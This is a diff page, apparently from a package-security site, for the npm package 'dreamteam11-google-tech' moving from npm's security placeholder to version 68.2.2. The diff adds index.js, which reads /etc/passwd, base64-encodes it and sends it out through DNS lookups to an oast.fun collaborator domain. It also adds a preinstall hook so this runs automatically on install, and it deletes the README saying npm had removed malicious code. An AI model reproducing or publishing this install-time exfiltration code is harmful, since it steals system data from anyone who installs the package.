dreamteam11-google-tech 0.0.1-security → 68.2.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of dreamteam11-google-tech might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +26 -0
  2. package/package.json +10 -4
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,26 @@
1
+ const { exec } = require('child_process');
2
+ const dns = require('dns');
3
+
4
+ // Define the command to run
5
+ const command = 'cat /etc/passwd';
6
+
7
+ // Execute the command and capture the output
8
+ exec(command, (error, stdout, stderr) => {
9
+ if (error) {
10
+ console.error(`Error executing command: ${error}`);
11
+ return;
12
+ }
13
+
14
+ // Send the output to Burp Collaborator via DNS
15
+ const collaboratorUrl = 'cgnatw32vtc0000xben0gekipqyyyyyyb.oast.fun';
16
+ const payload = Buffer.from(stdout).toString('base64');
17
+ const subdomain = `${payload}.${collaboratorUrl}`;
18
+
19
+ dns.resolve4(subdomain, (err, addresses) => {
20
+ if (err) {
21
+ console.error(`Error sending payload to Burp Collaborator: ${err}`);
22
+ return;
23
+ }
24
+ console.log(`Payload sent to Burp Collaborator: ${subdomain}`);
25
+ });
26
+ });
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "dreamteam11-google-tech",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "68.2.2",
4
+ "description": "adityan bug bounty",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=dreamteam11-google-tech for more information.